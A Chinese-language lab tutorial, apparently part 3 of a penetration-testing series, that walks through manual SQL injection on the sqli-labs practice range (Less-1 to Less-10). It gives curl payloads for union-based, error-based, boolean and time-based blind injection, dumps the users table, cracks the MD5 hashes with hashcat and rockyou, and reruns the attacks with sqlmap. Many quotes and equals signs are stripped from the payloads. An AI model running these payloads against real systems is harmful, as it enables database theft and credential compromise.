资讯动态

渗透测试实战从靶场搭建到渗透流程——第 3 篇 · 第一洞:sqli-labs 手工注入入门

发布时间:2026/10/27 1:59:45 来源:尧图企业网站定制
目 录一、靶场准备与注入点判定1.1 第一步让报错开口说话二、手工注入五步法Less-1 详解2.1 定列数order by2.2 找回显位union select2.3 收集信息版本与库2.4 列举表与字段information_schema2.5 拖库取账号与哈希三、哈希破解hashcat 秒破弱口令四、Less-2 到 Less-10 速通4.1 报错注入Less-5/6页面只给「对/错」时4.2 布尔盲注Less-8一问一答猜数据4.3 时间盲注Less-9连对错都不回显时五、sqlmap 复核自动化当复核不当拐杖六、新手最容易踩的三个坑七、验收与清场一、靶场准备与注入点判定sqli-labshttp://10.10.10.240:8086是 SQL 注入专项靶场共 65 关自带数据无需登录。第一次使用先点首页的 Setup/reset Database for labs 重建 security 库。本篇目标是 Less-1 到 Less-10把手工注入的完整思维链建立起来。1.1 第一步让报错开口说话打开 Less-1正常访问 http://10.10.10.240:8086/Less-1/?id1 页面回显用户名与密码Login name: Dumb。把 id 改成 1单引号curl -s http://10.10.10.240:8086/Less-1/?id1%27 | grep -oE You have an error in your SQL syntax.{0,60}# 预期回显# You have an error in your SQL syntax; ... to use near 1 LIMIT 0,1 at line 1这一刻就是注入点存在的证据报错里能看到我们的单引号被原样拼进了 SQLnear 后面的1 LIMIT 0,1。由此可以反推出后端语句形如 SELECT ... WHERE id输入 LIMIT 0,1——字符串型用单引号闭合。学习注入最缺的不是「知道有漏洞」而是「看见漏洞是怎么发生的」报错就是那扇窗。二、手工注入五步法Less-1 详解从报错到拖库标准动作只有五步。每一步都给出命令与预期回显。2.1 定列数order bycurl -s http://10.10.10.240:8086/Less-1/?id1%27%20order%20by%203-- -o /dev/null -w %{http_code}\n# 200正常curl -s http://10.10.10.240:8086/Less-1/?id1%27%20order%20by%204-- | grep -c error# 1报错→ 共 3 列2.2 找回显位union selectcurl -s http://10.10.10.240:8086/Less-1/?id-1%27%20union%20select%201,2,3--)# 页面把第 2、3 位显示出来Login name: 2 / Your Password: 3# id 用 -1 让原查询空结果页面只显示 union 的数据2.3 收集信息版本与库curl -s http://10.10.10.240:8086/Less-1/?id-1%27%20union%20select%201,version(),database()--# 预期回显实测# Your Login name: 5.5.44-0ubuntu0.14.04.1 Your Password: security2.4 列举表与字段information_schemacurl -s -G http://10.10.10.240:8086/Less-1/ \--data-urlencode id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- \--data-urlencode x1# 回显T1,uagents,users,u Referer...users 表即目标2.5 拖库取账号与哈希curl -s -G http://10.10.10.240:8086/Less-1/ \--data-urlencode id-1 union select 1,group_concat(username,0x3a,password),3 from users-- \--data-urlencode x1# 预期回显Dumb:Dumb, Angelina:I-kill-you, Dummy:pssword, secure:crappy, ...注意 2.4 与 2.5 的写法URL 里有单引号、空格、括号时统一用 curl -G 加 --data-urlencode让 curl 自己做编码不要手工拼 URL 与转义搏斗原因见第六节。三、哈希破解hashcat 秒破弱口令拖出来的口令是无盐 MD5。配合 rockyou 字典靶场默认弱口令秒级可破。这里有一个经典坑直接把 hashcat 输出管道给 awk 解析会先拿到版本横幅把结果搞乱——务必用 -o 输出文件并加 --quiet。cat hashes.txt EOF5f4dcc3b5aa765d61d8327deb882cf99e99a18c428cb38d5f260853678922e03EOFgunzip /usr/share/wordlists/rockyou.txt.gz # 首次使用先解压hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force -o cracked.txt --quietcat cracked.txt# 预期5f4dcc3b...:password e99a18c4...:abc1235f4dcc3b 开头是 password、e99a18c4 开头是 abc123——弱哈希叠加弱口令等于明文。这也解释了为什么「无盐 MD5 存口令」在防御视角属于高危设计破解成本几乎为零。四、Less-2 到 Less-10 速通前 10 关的注入点都是 GET 的 id 参数变化只在闭合方式与回显手段。核心调整只有一个把五步法第一步的「单引号」换成对应的闭合符号其余步骤完全复用。关卡闭合方式探测 payloadid 处说明Less-1单引号1 报错本篇详解Less-2整型1 and 12 或直接 1 报错无引号包裹order by 直接续写Less-3单引号括号1) 报错 near 1\)闭合为 1) --Less-4双引号括号1) 报错闭合为 1) --Less-5/6单/双引号1 或 1 报错但无回显位改用报错注入见下Less-7单引号双括号1)) 报错写文件关第 8 篇延伸Less-8/9/10单/双引号1 页面正常但内容不变盲注见下4.1 报错注入Less-5/6页面只给「对/错」时Less-5 正常访问只显示 You are in...没有回显位union 白搭。改用 extractvalue 制造报错把查询结果塞进报错信息里curl -s -G http://10.10.10.240:8086/Less-5/ \--data-urlencode id1 and extractvalue(1,concat(0x7e,version(),0x7e,database()))-- \--data-urlencode x1# 预期XPATH syntax error: ~5.5.44-0ubuntu0.14.04.1~security~# extractvalue 只回显约 32 字符长结果用 substr 分段截取4.2 布尔盲注Less-8一问一答猜数据curl -s -G http://10.10.10.240:8086/Less-8/ \--data-urlencode id1 and substr(database(),1,1)s-- \--data-urlencode x1 | grep -c You are in# 1 条件为真0 为假。二分逐字符猜出库名 security4.3 时间盲注Less-9连对错都不回显时curl -s -o /dev/null -w %{time_total}s\n -G http://10.10.10.240:8086/Less-9/ \--data-urlencode id1 and sleep(5)-- --data-urlencode x1# 耗时约 5 秒 条件为真约 0 秒 为假。思路同布尔盲注用延时当「回显」三条路的关系能回显走 union不能回显走报错连报错都没有就走盲注先布尔再时间。这条「降级路线」适用于一切注入场景不只是 sqli-labs。五、sqlmap 复核自动化当复核不当拐杖手工打完 Less-1 后用 sqlmap 复核一遍既是验证也是学习它的输出怎么读。注意需要带 GET 参数的 URL 直接给到注入点# 探测 列库sqlmap -u http://10.10.10.240:8086/Less-1/?id1 --batch --dbs# 预期GET parameter id is ... injectableavailable databases [2]: security, information_schema# 拖 users 表sqlmap -u http://10.10.10.240:8086/Less-1/?id1 --batch -D security -T users --dump# 盲注提速--techniqueT --time-sec5# POST 型Less-11下一篇讲--dataunameadminpasswd1submitSubmit使用原则在第 0 篇说过手工优先、工具复核。sqlmap 能自动完成所有五步法但只有先手工打过你才知道它在做什么、为什么某些关它跑不出来比如需要特定闭合方式或参数污染的关。六、新手最容易踩的三个坑坑现象原因与解决注释符写错payload 明明对却报语法错-- 必须配空格URL 里写成 -- 或 --%20。-- 单独到行尾会被吞掉URL 编码混乱、空格、# 直接拼 URL 后行为异常 写 %27、空格写 %20、# 写 %23# 是 URL 锚点符。统一用 curl -G 加 --data-urlencode 最稳回显位判断错union select 1,2,3 页面没反应先确认原查询列数order byid 用 -1 让原查询空结果回显位通常落在第 2、3 位三坑的本质是同一件事注入是与「字符串拼接」作战而 URL、shell、SQL 三层都会再加工一遍字符。让工具帮你编码--data-urlencode把精力留给 SQL 逻辑本身。七、验收与清场本篇验收标准Less-1 完成五步法拿到 users 表全部账号哈希并破解至少 2 个Less-5 用报错注入拿到版本号Less-9 能用延时区分真假。一键验证注入点curl -s http://10.10.10.240:8086/Less-1/?id1%27 | grep -c SQL syntax # 1 即注入点存在curl -s http://10.10.10.240:8086/Less-1/?id-1%27%20union%20select%201,version(),database()-- | grep -c security # 1 即拖库链路通清场sqli-labs 本身无持久化写入若练习中跑过 sqlmap 的 --flush-session 或改脏了数据点首页 Setup/reset Database for labs 一键还原。攻击机侧删除 /tmp 下的请求文件与哈希文件即可。下一篇把五步法推广到更难的位置POST 表单、请求头UA/Referer/Cookie、以及过滤绕过与堆叠注入——那些才是真实世界注入点的常见形态。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑